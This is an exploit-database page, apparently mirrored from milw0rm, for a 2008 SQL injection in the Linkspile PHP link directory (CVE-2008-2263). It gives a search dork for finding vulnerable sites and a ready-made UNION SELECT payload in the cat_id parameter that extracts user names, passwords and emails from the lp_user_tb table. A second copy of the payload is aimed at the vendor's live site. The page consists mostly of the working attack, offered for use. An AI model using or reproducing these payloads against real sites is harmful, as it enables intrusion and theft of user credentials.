Exploit Linkspile - 'cat_id' SQL Injection

[Exploiter]

EDB-ID

5611

Проверка EDB

1. Пройдено

Автор

HACKER_EGY

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-2263

Дата публикации

2008-05-13

##########################################################
#          Remote SQL Injection Vulnerabilities          #
#                 Linkspile  [ link.php ]                #
##########################################################
 
 
## Author : HaCkeR_EgY
 
## C0NTACT : [email protected]
 
## H^OME : www.PAL-HaCkeR.com   &  ATSDP.COM
 
## Script Name : Linkspile
 
## Download : http://www.linkspile.com
 
## Price :  $399.00  =======>  Buy iT : http://www.cmsnx.com/psf/order.php?id=10
###########################################################################
###########################################################################
 
## D0rk : Powered By linkspile
 
 
## ExPlo!T :
 
=====>> http://www.example.com/link.php?cat_id=-1/**/union/**/select/**/1,2,3,4,5,6,concat(fname,0x3a,0x3a,0x3a,password,0x3a,0x3a,0x3a,email),8,9,10,11,12,13,14,15,16,17,18/**/from/**/lp_user_tb/*
 
 
## L!ve Dem0 (Demo has changed the links.php filename):
 
 
======>>http://www.linkspile.com/linking.page.php?cat_id=-1/**/union/**/select/**/1,2,3,4,5,6,concat(fname,0x3a,0x3a,0x3a,password,0x3a,0x3a,0x3a,email),8,9,10,11,12,13,14,15,16,17,18/**/from/**/lp_user_tb/*
 
 
 
 
 
################################################################################

[<>] Thanx : MY Brotha and MY Master " Abo Mohamed "
 
[<>] Greetz : Mr.SQL , Mohamed el Arab ,F!resell, DaRk MaStEr , H-T Team , Stack-Terrorist
 
#################################################################################

# milw0rm.com [2008-05-13]